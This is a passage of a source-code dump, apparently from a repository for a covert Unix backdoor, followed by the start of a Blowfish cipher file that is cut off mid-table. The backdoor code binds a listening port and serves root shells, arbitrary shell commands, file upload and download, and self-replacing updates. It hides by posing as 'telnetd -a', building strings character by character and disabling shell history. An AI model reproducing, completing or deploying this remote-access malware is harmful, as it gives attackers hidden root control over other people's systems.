| term[3] = 'M'; 227 | term[4] = 0; 228 | 229 | vt100[0] = 'v'; 230 | vt100[1] = 't'; 231 | vt100[2] = '1'; 232 | vt100[3] = '0'; 233 | vt100[4] = '0'; 234 | vt100[5] = 0; 235 | 236 | hist[0] = 'H'; 237 | hist[1] = 'I'; 238 | hist[2] = 'S'; 239 | hist[3] = 'T'; 240 | hist[4] = 'F'; 241 | hist[5] = 'I'; 242 | hist[6] = 'L'; 243 | hist[7] = 'E'; 244 | hist[8] = 0; 245 | 246 | null[0] = '/'; 247 | null[1] = 'd'; 248 | null[2] = 'e'; 249 | null[3] = 'v'; 250 | null[4] = '/'; 251 | null[5] = 'n'; 252 | null[6] = 'u'; 253 | null[7] = 'l'; 254 | null[8] = 'l'; 255 | null[9] = 0; 256 | 257 | ps1[0] = 'P'; 258 | ps1[1] = 'S'; 259 | ps1[2] = '1'; 260 | ps1[3] = 0; 261 | 262 | crypt[0] = '['; 263 | crypt[1] = 'q'; 264 | crypt[2] = 's'; 265 | crypt[3] = 'h'; 266 | crypt[4] = ']'; 267 | crypt[5] = '\\'; 268 | crypt[6] = '$'; 269 | crypt[7] = ' '; 270 | crypt[8] = 0; 271 | 272 | setenv(term, vt100, 1); 273 | setenv(hist, null, 1); 274 | setenv(ps1, crypt, 1); 275 | } 276 | 277 | void do_shell(int fd) 278 | { 279 | int i; 280 | char *p, *args[3]; 281 | 282 | set_default_signal(); 283 | 284 | my_signal(SIGXCPU, sig_SIGXCPU); 285 | 286 | if ((p = strrchr(shell, '/'))) 287 | p++; 288 | else 289 | p = (char *)shell; 290 | 291 | args[0] = p; 292 | args[1] = NULL; 293 | args[2] = NULL; 294 | 295 | dup2(fd, 0); 296 | dup2(fd, 1); 297 | dup2(fd, 2); 298 | 299 | if (fd > 2) 300 | close(fd); 301 | 302 | my_setenv(); 303 | 304 | chdir("/tmp"); 305 | 306 | execv(shell, args); 307 | execv("/bin/sh", args); 308 | perror(shell); 309 | 310 | exit(1); 311 | } 312 | 313 | int do_change_passwd(int fd) 314 | { 315 | int t, n; 316 | char tmp[256]; 317 | unsigned char *msg = __msg; 318 | 319 | if ((n = read(fd, tmp, ONCE_SIZE + HEAD_LEN)) > 0) { 320 | if ((t = unpack(msg, tmp, n)) > 0) { 321 | memcpy(tmp, msg, t); 322 | if ((n = pack(msg, "OK", 2)) > 0) { 323 | write(fd, msg, n); 324 | } 325 | 326 | init_key(tmp, t); 327 | memset(msg, 0, t); 328 | memset(tmp, 0, t); 329 | 330 | return 1; 331 | } 332 | } 333 | 334 | return 0; 335 | } 336 | 337 | int do_update(int fd) 338 | { 339 | int n, t, len = 0; 340 | char *p, *buf = __buf; 341 | unsigned char *msg = __msg; 342 | struct stat st; 343 | struct utimbuf timbuf; 344 | 345 | if ((n = read_data(fd, buf, PUT_LEN + HEAD_LEN)) <= 0) 346 | return -1; 347 | 348 | if ((t = unpack(msg, buf, n)) <= 0) 349 | return -1; 350 | 351 | msg[t] = 0; 352 | chomp((char *)msg); 353 | len = atoi((char *)msg); 354 | 355 | if (get_file(save_argv_tmp, fd) == -1) 356 | return -1; 357 | 358 | if (len == 0 || len != filesize(save_argv_tmp)) { 359 | unlink(save_argv_tmp); 360 | return -1; 361 | } 362 | if (stat(save_argv, &st) == -1) { 363 | unlink(save_argv_tmp); 364 | return -1; 365 | } 366 | timbuf.actime = st.st_atime; 367 | timbuf.modtime = st.st_mtime; 368 | 369 | if (unlink(save_argv) == -1) 370 | return -1; 371 | 372 | if (rename(save_argv_tmp, save_argv) == -1) 373 | return -1; 374 | 375 | if (chmod(save_argv, 0750) == -1) 376 | return -1; 377 | 378 | chown(save_argv, 0, 0); 379 | 380 | utime(save_argv, &timbuf); 381 | 382 | if ((p = strrchr(save_argv_tmp, '/'))) { 383 | *p = 0; 384 | utime(save_argv_tmp, &timbuf); 385 | } 386 | 387 | return 0; 388 | } 389 | 390 | void do_update_ok() 391 | { 392 | char *args[3]; 393 | 394 | args[0] = save_argv; 395 | args[1] = args[2] = NULL; 396 | 397 | execv(save_argv, args); 398 | exit(0); 399 | } 400 | 401 | void do_put(int fd) 402 | { 403 | int t, n; 404 | char *p, fname[256], *buf = __buf; 405 | 406 | memset(fname, 0, sizeof(fname)); 407 | 408 | if ((n = read_data(fd, buf, GET_LEN + HEAD_LEN)) > 0) { 409 | if ((t = unpack((unsigned char *)fname, buf, n)) > 0) { 410 | fname[t] = 0; 411 | chomp(fname); 412 | if (!(p = strchr(fname, PUT_PATH_CHAR))) 413 | return; 414 | *p = 0; 415 | if (dashd(fname)) 416 | *p = '/'; 417 | get_file(fname, fd); 418 | } 419 | } 420 | close(fd); 421 | exit(0); 422 | } 423 | 424 | void do_get(int fd) 425 | { 426 | int t, n; 427 | char fname[256], *buf = __buf; 428 | 429 | memset(fname, 0, sizeof(fname)); 430 | 431 | if ((n = read_data(fd, buf, GET_LEN + HEAD_LEN)) > 0) { 432 | if ((t = unpack((unsigned char *)fname, buf, n)) > 0) { 433 | fname[t] = 0; 434 | chomp(fname); 435 | put_file(fname, fd); 436 | } 437 | } 438 | close(fd); 439 | exit(0); 440 | } 441 | 442 | void do_cmd(int sock) 443 | { 444 | int n, t, pid, fd[2]; 445 | char cmd[160], *buf = __buf, tmp[12]; 446 | unsigned char *msg = __msg; 447 | 448 | if ((n = read_data(sock, buf, GET_LEN + HEAD_LEN)) <= 0) 449 | return; 450 | if ((t = unpack((unsigned char *)cmd, buf, n)) <= 0) 451 | return; 452 | cmd[t] = 0; 453 | chomp(cmd); 454 | 455 | if (socketpair(AF_UNIX, SOCK_STREAM, 0, fd) == -1) 456 | return; 457 | 458 | set_default_signal(); 459 | 460 | if ((pid = fork()) == 0) { 461 | char *arg[4]; 462 | close(fd[0]); 463 | set_default_signal(); 464 | 465 | dup2(fd[1], 0); 466 | dup2(fd[1], 1); 467 | dup2(fd[1], 2); 468 | 469 | if (fd[1] > 2) 470 | close(fd[1]); 471 | 472 | arg[0] = "/bin/sh"; 473 | arg[1] = "-c"; 474 | arg[2] = cmd; 475 | arg[3] = NULL; 476 | 477 | execv(arg[0], arg); 478 | exit(0); 479 | } 480 | close(fd[1]); 481 | 482 | while ((n = _read_data(sock, buf, GET_LEN + HEAD_LEN, CMD_TO1)) > 0) { 483 | if ((t = unpack(msg, buf, n)) > 0) { 484 | write(fd[0], msg, t); 485 | } 486 | } 487 | if ((t = unpack(msg, NULL, 0)) > 0) { 488 | write(fd[0], msg, t); 489 | } 490 | 491 | while ((n = _read_data(fd[0], buf, GET_LEN, 2000000)) > 0) { 492 | if ((t = pack(msg, buf, n)) > 0) { 493 | write(sock, msg, t); 494 | } 495 | } 496 | close(fd[0]); 497 | 498 | exit(0); 499 | } 500 | 501 | static char _telnetd[32]; 502 | 503 | int my_exec(int fd, int cmd) 504 | { 505 | struct sigaction sact; 506 | 507 | my_signal(SIGXCPU, sig_SIGXCPU); 508 | 509 | _telnetd[0] = 't'; 510 | _telnetd[1] = 'e'; 511 | _telnetd[2] = 'l'; 512 | _telnetd[3] = 'n'; 513 | _telnetd[4] = 'e'; 514 | _telnetd[5] = 't'; 515 | _telnetd[6] = 'd'; 516 | _telnetd[7] = ' '; 517 | _telnetd[8] = '-'; 518 | _telnetd[9] = 'a'; 519 | _telnetd[10] = 0; 520 | 521 | _argv[0] = _telnetd; /* just affect for AIX */ 522 | _argv[1] = NULL; 523 | 524 | init_in_data(); 525 | 526 | switch (cmd) { 527 | case ROOT_SHELL: 528 | doit(fd, do_shell); 529 | break; 530 | case ROOT_CMD: 531 | do_cmd(fd); 532 | break; 533 | case ROOT_GET: 534 | do_get(fd); 535 | break; 536 | case ROOT_PUT: 537 | do_put(fd); 538 | break; 539 | default: 540 | break; 541 | } 542 | close(fd); 543 | exit(0); 544 | } 545 | 546 | int wait_accept(int fd) 547 | { 548 | int n; 549 | fd_set rmask; 550 | struct timeval tv; 551 | 552 | for (;;) { 553 | FD_ZERO(&rmask); 554 | FD_SET(fd, &rmask); 555 | 556 | tv.tv_sec = 3600; 557 | tv.tv_usec = 0; 558 | 559 | n = select(fd + 1, &rmask, NULL, NULL, &tv); 560 | if (n == -1) { 561 | if (errno == EINTR) 562 | continue; 563 | else 564 | return -1; 565 | } else if (n == 0) 566 | continue; 567 | 568 | if (FD_ISSET(fd, &rmask)) 569 | return 0; 570 | } 571 | 572 | return -1; 573 | } 574 | 575 | int get_port() 576 | { 577 | char *p = getenv("_PORT"); 578 | 579 | if (p == NULL || atoi(p) <= 0) 580 | return _PORT; 581 | 582 | return atoi(p); 583 | } 584 | 585 | int server() 586 | { 587 | int cmd = 0, on = 1, fd, connfd; 588 | pid_t childpid; 589 | socklen_t clilen; 590 | struct sockaddr_in cliaddr, servaddr; 591 | char tmp[64]; 592 | 593 | _daemon(1); 594 | my_srand(0); 595 | 596 | if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) 597 | return 1; 598 | 599 | setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char *) &on, sizeof(on)); 600 | 601 | memset(&servaddr, 0, sizeof(servaddr)); 602 | servaddr.sin_family = AF_INET; 603 | servaddr.sin_addr.s_addr = htonl(INADDR_ANY); 604 | servaddr.sin_port = htons(get_port()); 605 | 606 | if (bind(fd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1) 607 | return 1; 608 | 609 | listen(fd, 5); 610 | 611 | my_signal(SIGCHLD, sig_chld); 612 | 613 | for (;;) { 614 | clilen = sizeof(cliaddr); 615 | 616 | if (wait_accept(fd) == -1) 617 | break; 618 | 619 | connfd = accept(fd, (struct sockaddr *) &cliaddr, &clilen); 620 | 621 | if (connfd == -1) { 622 | if (errno == EINTR) { 623 | sleep(1); 624 | continue; 625 | } 626 | break; 627 | } 628 | 629 | if (verify_server(connfd) == -1) { 630 | close(connfd); 631 | continue; 632 | } 633 | 634 | if (server_verify_version(connfd) == -1) { 635 | close(connfd); 636 | continue; 637 | } 638 | if (read_data(connfd, tmp, 20) != 20) { 639 | close(connfd); 640 | continue; 641 | } 642 | winsize_unpack(&win, tmp); 643 | 644 | if (read_data(connfd, tmp, 4) != 4) { 645 | close(connfd); 646 | continue; 647 | } 648 | tmp[4] = 0; 649 | 650 | cmd = atoi(tmp); 651 | 652 | #ifdef _HAVE_MORE_FUNCTION 653 | 654 | if (cmd == CHANGE_PASSWD) { 655 | do_change_passwd(connfd); 656 | close(connfd); 657 | continue; 658 | } 659 | 660 | if (cmd == ROOT_UPDATE) { 661 | if (do_update(connfd) == 0) { 662 | close(fd); 663 | close(connfd); 664 | sleep(3); 665 | do_update_ok(); 666 | exit(0); 667 | } 668 | close(connfd); 669 | continue; 670 | } 671 | #endif 672 | 673 | my_signal(SIGCHLD, sig_chld); 674 | 675 | #ifndef _HAVE_MORE_FUNCTION 676 | if (cmd != ROOT_SHELL) { 677 | close(connfd); 678 | continue; 679 | } 680 | #endif 681 | 682 | if ((childpid = fork()) == 0) { 683 | close(fd); 684 | my_exec(connfd, cmd); 685 | exit(0); 686 | } 687 | close(connfd); 688 | } 689 | 690 | return 0; 691 | } 692 | 693 | char __p[32]; 694 | 695 | extern int __set_key(char *__p); 696 | 697 | int main(int argc, char *argv[]) 698 | { 699 | setuid(0); 700 | setgid(0); 701 | 702 | memset(save_argv, 0, sizeof(save_argv)); 703 | 704 | if (argv[0][0] != '/') { 705 | getcwd(save_argv, sizeof(save_argv)); 706 | strcat(save_argv, "/"); 707 | } 708 | strcat(save_argv, argv[0]); 709 | sprintf(save_argv_tmp, "%s.tmp.1", save_argv); 710 | 711 | _argv = argv; /* save */ 712 | 713 | memset(__p, 0, sizeof(__p)); 714 | 715 | init_in_data(); 716 | 717 | __buf =(char *)malloc(ONCE_SIZE * MUL); 718 | __msg = (unsigned char *)malloc(ONCE_SIZE * MUL); 719 | 720 | __set_key(__p); 721 | 722 | passwd = __p; 723 | 724 | init_key(passwd, strlen(passwd)); 725 | 726 | server(); 727 | 728 | return 0; 729 | } 730 | -------------------------------------------------------------------------------- /blowfish.c: -------------------------------------------------------------------------------- 1 | #include "blowfish.h" 2 | 3 | #define N 16 4 | 5 | static unsigned int ORIG_P[16 + 2] = { 6 | 0x243F6A88L, 0x85A308D3L, 0x13198A2EL, 0x03707344L, 7 | 0xA4093822L, 0x299F31D0L, 0x082EFA98L, 0xEC4E6C89L, 8 | 0x452821E6L, 0x38D01377L, 0xBE5466CFL, 0x34E90C6CL, 9 | 0xC0AC29B7L, 0xC97C50DDL, 0x3F84D5B5L, 0xB5470917L, 10 | 0x9216D5D9L, 0x8979FB1BL 11 | }; 12 | 13 | static const unsigned int ORIG_S[4][256] = { 14 | { 0xD1310BA6L, 0x98DFB5ACL, 0x2FFD72DBL, 0xD01ADFB7L, 15 | 0xB8E1AFEDL, 0x6A267E96L, 0xBA7C9045L, 0xF12C7F99L, 16 | 0x24A19947L, 0xB3916CF7L, 0x0801F2E2L, 0x858EFC16L, 17 | 0x636920D8L, 0x71574E69L, 0xA458FEA3L, 0xF4933D7EL, 18 | 0x0D95748FL, 0x728EB658L, 0x718BCD58L, 0x82154AEEL, 19 | 0x7B54A41DL, 0xC25A59B5L, 0x9C30D539L, 0x2AF26013L, 20 | 0xC5D1B023L, 0x286085F0L, 0xCA417918L, 0xB8DB38EFL, 21 | 0x8E79DCB0L, 0x603A180EL, 0x6C9E0E8BL, 0xB01E8A3EL, 22 | 0xD71577C1L, 0xBD314B27L, 0x78AF2FDAL, 0x55605C60L, 23 | 0xE65525F3L, 0xAA55AB94L, 0x57489862L, 0x63E81440L, 24 | 0x55CA396AL, 0x2AAB10B6L, 0xB4CC5C34L, 0x1141E8CEL, 25 | 0xA15486AFL, 0x7C72E993L, 0xB3EE1411L, 0x636FBC2AL, 26 | 0x2BA9C55DL, 0x741831F6L, 0xCE5C3E16L, 0x9B87931EL, 27 | 0xAFD6BA33L, 0x6C24CF5CL, 0x7A325381L, 0x28958677L, 28 | 0x3B8F4898L, 0x6B4BB9AFL, 0xC4BFE81BL, 0x66282193L, 29 | 0x61D809CCL, 0xFB21A991L, 0x487CAC60L, 0x5DEC8032L, 30 | 0xEF845D5DL, 0xE98575B1L, 0xDC262302L, 0xEB651B88L, 31 | 0x23893E81L, 0xD396ACC5L, 0x0F6D6FF3L, 0x83F44239L, 32 | 0x2E0B4482L, 0xA4842004L, 0x69C8F04AL, 0x9E1F9B5EL, 33 | 0x21C66842L, 0xF6E96C9AL, 0x670C9C61L, 0xABD388F0L, 34 | 0x6A51A0D2L, 0xD8542F68L, 0x960FA728L, 0xAB5133A3L, 35 | 0x6EEF0B6CL, 0x137A3BE4L, 0xBA3BF050L, 0x7EFB2A98L, 36 | 0xA1F1651DL, 0x39AF0176L, 0x66CA593EL, 0x82430E88L, 37 | 0x8CEE8619L, 0x456F9FB4L, 0x7D84A5C3L, 0x3B8B5EBEL, 38 | 0xE06F75D8L, 0x85C12073L, 0x401A449FL, 0x56C16AA6L, 39 | 0x4ED3AA62L, 0x363F7706L, 0x1BFEDF72L, 0x429B023DL, 40 | 0x37D0D724L, 0xD00A1248L, 0xDB0FEAD3L, 0x49F1C09BL, 41 | 0x075372C9L, 0x80991B7BL, 0x25D479D8L, 0xF6E8DEF7L, 42 | 0xE3FE501AL, 0xB6794C3BL, 0x976CE0BDL, 0x04C006BAL, 43 | 0xC1A94FB6L, 0x409F60C4L, 0x5E5C9EC2L, 0x196A2463L, 44 | 0x68FB6FAFL, 0x3E6C53B5L, 0x1339B2EBL, 0x3B52EC6FL, 45 | 0x6DFC511FL, 0x9B30952CL, 0xCC814544L, 0xAF5EBD09L, 46 | 0xBEE3D004L, 0xDE334AFDL, 0x660F2807L, 0x192E4BB3L, 47 | 0xC0CBA857L, 0x45C8740FL, 0xD20B5F39L, 0xB9D3FBDBL, 48 | 0x5579C0BDL, 0x1A60320AL, 0xD6A100C6L, 0x402C7279L, 49 | 0x679F25FEL, 0xFB1FA3CCL, 0x8EA5E9F8L, 0xDB3222F8L, 50 | 0x3C7516DFL, 0xFD616B15L, 0x2F501EC8L, 0xAD0552ABL, 51 | 0x323DB5FAL, 0xFD238760L, 0x53317B48L, 0x3E00DF82L, 52 | 0x9E5C57BBL, 0xCA6F8CA0L, 0x1A87562EL, 0xDF1769DBL, 53 | 0xD542A8F6L, 0x287EFFC3L, 0xAC6732C6L, 0x8C4F5573L, 54 | 0x695B27B0L, 0xBBCA58C8L, 0xE1FFA35DL, 0xB8F011A0L, 55 | 0x10FA3D98L, 0xFD2183B8L, 0x4AFCB56CL, 0x2DD1D35BL, 56 | 0x9A53E479L, 0xB6F84565L, 0xD28E49BCL, 0x4BFB9790L, 57 | 0xE1DDF2DAL, 0xA4CB7E33L, 0x62FB1341L, 0xCEE4C6E8L, 58 | 0xEF20CADAL, 0x36774C01L, 0xD07E9EFEL, 0x2BF11FB4L, 59 | 0x95DBDA4DL, 0xAE909198L, 0xEAAD8E71L, 0x6B93D5A0L, 60 | 0xD08ED1D0L, 0xAFC725E0L, 0x8E3C5B2FL, 0x8E7594B7L, 61 | 0x8FF6E2FBL, 0xF2122B64L, 0x8888B812L, 0x900DF01CL, 62 | 0x4FAD5EA0L, 0x688FC31CL, 0xD1CFF191L, 0xB3A8C1ADL, 63 | 0x2F2F2218L, 0xBE0E1777L, 0xEA752DFEL, 0x8B021FA1L, 64 | 0xE5A0CC0FL, 0xB56F74E8L, 0x18ACF3D6L, 0xCE89E299L, 65 | 0xB4A84FE0L, 0xFD13E0B7L, 0x7CC43B81L, 0xD2ADA8D9L, 66 | 0x165FA266L, 0x80957705L, 0x93CC7314L, 0x211A1477L, 67 | 0xE6AD2065L, 0x77B5FA86L, 0xC75442F5L, 0xFB9D35CFL, 68 | 0xEBCDAF0CL, 0x7B3E89A0L, 0xD6411BD3L, 0xAE1E7E49L, 69 | 0x00250E2DL, 0x2071B35EL, 0x226800BBL, 0x57B8E0AFL, 70 | 0x2464369BL, 0xF009B91EL, 0x5563911DL, 0x59DFA6AAL, 71 | 0x78C14389L, 0xD95A537FL, 0x207D5BA2L, 0x02E5B9C5L, 72 | 0x83260376L, 0x6295CFA9L, 0x11C81968L, 0x4E734A41L, 73 | 0xB3472DCAL, 0x7B14A94AL, 0x1B510052L, 0x9A532915L, 74 | 0xD60F573FL, 0xBC9BC6E4L, 0x2B60A476L, 0x81E67400L, 75 | 0x08BA6FB5L, 0x571BE91FL, 0xF296EC6BL, 0x2A0DD915L, 76 | 0xB6636521L, 0xE7B9F9B6L, 0xFF34052EL, 0xC5855664L, 77 | 0x53B02D5DL, 0xA99F8FA1L, 0x08BA4799L, 0x6E85076AL }, 78 | { 0x4B7A70E9L, 0xB5B32944L, 0xDB75092EL, 0xC4192623L, 79 | 0xAD6EA6B0L, 0x49A7DF7DL, 0x9CEE60B8L, 0x8FEDB266L, 80 | 0xECAA8C71L, 0x699A17FFL, 0x5664526CL, 0xC2B19EE1L, 81 | 0x193602A5L, 0x75094C29L, 0xA0591340L, 0xE4183A3EL, 82 | 0x3F54989AL, 0x5B429D65L, 0x6B8FE4D6L, 0x99F73FD6L, 83 | 0xA1D29C07L, 0xEFE830F5L, 0x4D2D38E6L, 0xF0255DC1L, 84 | 0x4CDD2086L, 0x8470EB26L, 0x6382E9C6L, 0x021ECC5EL, 85 | 0x09686B3FL, 0x3EBAEFC9L, 0x3C971814L, 0x6B6A70A1L, 86 | 0x687F3584L, 0x52A0E286L, 0xB79C5305L, 0xAA500737L, 87 | 0x3E07841CL, 0x7FDEAE5CL, 0x8E7D44ECL, 0x5716F2B8L, 88 | 0xB03ADA37L, 0xF0500C0DL, 0xF01C1F04L, 0x0200B3FFL, 89 | 0xAE0CF51AL, 0x3CB574B2L, 0x25837A58L, 0xDC0921BDL, 90 | 0xD19113F9L, 0x7CA92FF6L, 0x94324773L, 0x22F54701L, 91 | 0x3AE5E581L, 0x37C2DADCL, 0xC8B57634L, 0x9AF3DDA7L, 92 | 0xA9446146L, 0x0FD0030EL, 0xECC8C73EL, 0xA4751E41L, 93 | 0xE238CD99L, 0x3BEA0E2FL, 0x3280BBA1L, 0x183EB331L, 94 | 0x4E548B38L, 0x4F6DB908L, 0x6F420D03L, 0xF60A04BFL, 95 | 0x2CB81290L, 0x24977C79L, 0x5679B072L, 0xBCAF89AFL, 96 | 0xDE9A771FL, 0xD9930810L, 0xB38BAE12L, 0xDCCF3F2EL, 97 | 0x5512721FL, 0x2E6B7124L, 0x501ADDE6L, 0x9F84CD87L, 98 | 0x7A584718L, 0x7408DA17L, 0xBC9F9ABCL, 0xE94B7D8CL, 99 | 0xEC7AEC3AL, 0xDB851DFAL, 0x63094366L, 0xC464C3D2L, 100 | 0xEF1C1847L, 0x3215D908L, 0xDD433B37L, 0x24C2BA16L, 101 | 0x12A14D43L, 0x2A65C451L, 0x50940002L, 0x133AE4DDL, 102 | 0x71DFF89EL, 0x10314E55L, 0x81AC77D6L, 0x5F11199BL, 103 | 0x043556F1L, 0xD7A3C76BL, 0x3C11183BL, 0x5924A509L, 104 | 0xF28FE6EDL, 0x97F1FBFAL, 0x9EBABF2CL, 0x1E153C6EL, 105 | 0x86E34570L, 0xEAE96FB1L, 0x860E5E0AL, 0x5A3E2AB3L, 106 | 0x771FE71CL, 0x4E3D06FAL, 0x2965DCB9L, 0x99E71D0FL, 107 | 0x803E89D6L, 0x5266C825L, 0x2E4CC978L, 0x9C10B36AL, 108 | 0xC6150EBAL, 0x94E2EA78L, 0xA5FC3C53L, 0x1E0A2DF4L, 109 | 0xF2F74EA7L, 0x361D2B3DL, 0x1939260FL, 0x19C27960L, 110 | 0x5223A708L, 0xF71312B6L, 0xEBADFE6EL, 0xEAC31F66L, 111 | 0xE3BC4595L, 0xA67BC883L, 0xB17F37D1L, 0x018CFF28L, 112 | 0xC332DDEFL, 0xBE6C5AA5L, 0x65582185L, 0x68AB9802L, 113 | 0xEECEA50FL, 0xDB2F953BL, 0x2AEF7DADL, 0x5B6E2F84L, 114 | 0x1521B628L, 0x29076170L, 0xECDD4775L, 0x619F1510L, 115 | 0x13CCA830L, 0xEB61BD96L, 0x0334FE1EL, 0xAA0363CFL, 116 | 0xB5735C90L, 0x4C70A239L, 0xD59E9E0BL, 0xCBAADE14L, 117 | 0xEECC86BCL, 0x60622CA7L, 0x9CAB5CABL, 0xB2F3846EL, 118 | 0x648B1EAFL, 0x19BDF0CAL, 0xA02369B9L, 0x655ABB50L, 119 | 0x40685A32L, 0x3C2AB4B3L, 0x319EE9D5L, 0xC021B8F7L, 120 | 0x9B540B19L, 0x875FA099L, 0x95F7997EL, 0x623D7DA8L, 121 | 0xF837889AL, 0x97E32D77L, 0x11ED935FL, 0x16681281L, 122 | 0x0E358829L, 0xC7E61FD6L, 0x96DEDFA1L, 0x7858BA99L, 123 | 0x57F584A5L, 0x1B227263L, 0x9B83C3FFL, 0x1AC24696L, 124 | 0xCDB30AEBL, 0x532E3054L, 0x8FD948E4L, 0x6DBC3128L, 125 | 0x58EBF2EFL, 0x34C6FFEAL, 0xFE28ED61L, 0xEE7C3C73L, 126 | 0x5D4A14D9L, 0xE864B7E3L, 0x42105D14L, 0x203E13E0L, 127 | 0x45EEE2B6L, 0xA3AAABEAL, 0xDB6C4F15L, 0xFACB4FD0L, 128 | 0xC742F442L, 0xEF6ABBB5L, 0x654F3B1DL, 0x41CD2105L, 129 | 0xD81E799EL, 0x86854DC7L, 0xE44B476AL, 0x3D816250L, 130 | 0xCF62A1F2L, 0x5B8D2646L, 0xFC8883A0L, 0xC1C7B6A3L, 131 | 0x7F1524C3L, 0x69CB7492L, 0x47848A0BL, 0x5692B285L, 132 | 0x095BBF00L, 0xAD19489DL, 0x1462B174L, 0x23820E00L, 133 | 0x58428D2AL, 0x0C55F5EAL, 0x1DADF43EL, 0x233F7061L, 134 | 0x3372F092L, 0x8D937E41L, 0xD65FECF1L, 0x6C223BDBL, 135 | 0x7CDE3759L, 0xCBEE7460L, 0x4085F2A7L, 0xCE77326EL, 136 | 0xA6078084L, 0x19F8509EL, 0xE8EFD855L, 0x61D99735L, 137 | 0xA969A7AAL, 0xC50C06C2L, 0x5A04ABFCL, 0x800BCADCL, 138 | 0x9E447A2EL, 0xC3453484L, 0xFDD56705L, 0x0E1E9EC9L, 139 | 0xDB73DBD3L, 0x105588CDL, 0x675FDA79L, 0xE3674340L, 140 | 0xC5C43465L, 0x713E38D8L, 0x3D28F89EL, 0xF16DFF20L, 141 | 0x153E21E7L, 0x8FB03D4AL, 0xE6E39F2BL, 0xDB83ADF7L }, 142 | { 0xE93D5A68L, 0x948140F7L, 0xF64C261CL, 0x94692934L, 143 | 0x411520F7L, 0x7602D4F7L, 0xBCF46B2EL, 0xD4A20068L, 144 | 0xD4082471L, 0x3320F46AL, 0x43B7D4B7L, 0x500061AFL, 145 | 0x1E39F62EL, 0x97244546L, 0x14214F74L, 0xBF8B8840L, 146 | 0x4D95FC1DL, 0x96B591AFL, 0x70F4DDD3L, 0x66A02F45L, 147 | 0xBFBC09ECL, 0x03BD9785L, 0x7FAC6DD0L, 0x31CB8504L, 148 | 0x96EB27B3L, 0x55FD3941L, 0xDA2547E6L, 0xABCA0A9AL, 149 | 0x28507825L, 0x530429F4L, 0x0A2C86DAL, 0xE9B66DFBL, 150 | 0x68DC1462L, 0xD7486900L, 0x680EC0A4L, 0x27A18DEEL, 151 | 0x4F3FFEA2L, 0xE887AD8CL, 0xB58CE006L, 0x7AF4D6B6L, 152 | 0xAACE1E7CL, 0xD3375FECL, 0xCE78A399L, 0x406B2A42L, 153 | 0x20FE9E35L, 0xD9F385B9L, 0xEE39D7ABL, 0x3B124E8BL, 154 | 0x1DC9FAF7L, 0x4B6D1856L, 0x26A36631L, 0xEAE397B2L, 155 | 0x3A6EFA74L, 0xDD5B4332L, 0x6841E7F7L, 0xCA7820FBL, 156 | 0xFB0AF54EL, 0xD8FEB397L, 0x454056ACL, 0xBA489527L, 157 | 0x55533A3AL, 0x20838D87L, 0xFE6BA9B7L, 0xD096954BL, 158 | 0x55A867BCL, 0xA1159A58L, 0xCCA92963L, 0x99E1DB33L, 159 | 0xA62A4A56L, 0x3F3125F9L, 0x5EF47E1CL, 0x9029317CL, 160 | 0xFDF8E802L, 0x04272F70L, 0x80BB155CL, 0x05282CE3L, 161 | 0x95C11548L, 0xE4C66D22L, 0x48C1133FL, 0xC70F86DCL, 162 | 0x07F9C9EEL, 0x41041F0FL, 0x404779A4L, 0x5D886E17L, 163 | 0x325F51EBL, 0xD59BC0D1L, 0xF2BCC18FL, 0x41113564L, 164 | 0x257B7834L, 0x602A9C60L, 0xDFF8E8A3L, 0x1F636C1BL, 165 | 0x0E12B4C2L, 0x02E1329EL, 0xAF664FD1L, 0xCAD18115L, 166 | 0x6B2395E0L, 0x333E92E1L, 0x3B240B62L, 0xEEBEB922L, 167 | 0x85B2A20EL, 0xE6BA0D99L, 0xDE720C8CL, 0x2DA2F728L, 168 | 0xD0127845L, 0x95B794FDL, 0x647D0862L, 0xE7CCF5F0L, 169 | 0x5449A36FL, 0x877D48FAL, 0xC39DFD27L, 0xF33E8D1EL, 170 | 0x0A476341L, 0x992EFF74L, 0x3A6F6EABL, 0xF4F8FD37L, 171 | 0xA812DC60L, 0xA1EBDDF8L, 0x991BE14CL, 0xDB6E6B0DL, 172 | 0xC67B5510L, 0x6D672C37L, 0x2765D43BL, 0xDCD0E804L, 173 | 0xF1290DC7L, 0xCC00FFA3L, 0xB5390F92L, 0x690FED0BL, 174 | 0x667B9FFBL, 0xCEDB7D9CL, 0xA091CF0BL, 0xD9155EA3L, 175 | 0xBB132F88L, 0x515BAD24L, 0x7B9479BFL, 0x763BD6EBL, 176 | 0x37392EB3L, 0xCC115979L, 0x8026E297L, 0xF42E312DL, 177 | 0x6842ADA7L, 0xC66A2B3BL, 0x12754CCCL, 0x782EF11CL, 178 | 0x6A124237L, 0xB79251E7L, 0x06A1BBE6L, 0x4BFB6350L, 179 | 0x1A6B1018L, 0x11CAEDFAL, 0x3D25BDD8L, 0xE2E1C3C9L, 180 | 0x44421659L, 0x0A121386L, 0xD90CEC6EL, 0xD5ABEA2AL, 181 | 0x64AF674EL, 0xDA86A85FL, 0xBEBFE988L, 0x64E4C3FEL, 182 | 0x9DBC8057L, 0xF0F7C086L, 0x60787BF8L, 0x6003604DL, 183 | 0xD1FD8346L, 0xF6381FB0L, 0x7745AE04L, 0xD736FCCCL, 184 | 0x83426B33L, 0xF01EAB71L, 0xB0804187L, 0x3C005E5FL, 185 | 0x77A057BEL, 0xBDE8AE24L, 0x55464299L, 0xBF582E61L, 186 | 0x4E58F48FL, 0xF2DDFDA2L, 0xF474EF38L, 0x8789BDC2L, 187 | 0x5366F9C3L, 0xC8B38E74L, 0xB475F255L, 0x46FCD9B9L, 188 | 0x7AEB2661L, 0x8B1DDF84L, 0x846A0E79L, 0x915F95E2L, 189 | 0x466E598EL, 0x20B45770L, 0x8CD55591L, 0xC902DE4CL, 190 | 0xB90BACE1L, 0xBB8205D0L, 0x11A86248L, 0x7574A99EL, 191 | 0xB77F19B6L, 0xE0A9DC09L, 0x662D09A1L, 0xC4324633L, 192 | 0xE85A1F02L, 0x09F0BE8CL, 0x4A99A025L, 0x1D6EFE10L, 193 | 0x1AB93D1DL, 0x0BA5A4DFL, 0xA186F20FL, 0x2868F169L, 194 | 0xDCB7DA83L, 0x573906FEL, 0xA1E2CE9BL, 0x4FCD7F52L, 195 | 0x50115E01L, 0xA70683FAL, 0xA002B5C4L, 0x0DE6D027L, 196 | 0x9AF88C27L, 0x773F8641L, 0xC3604C06L, 0x61A806B5L, 197 | 0xF0177A28L, 0xC0F586E0L, 0x006058AAL, 0x30DC7D62L, 198 | 0x11E69ED7L, 0x2338EA63L, 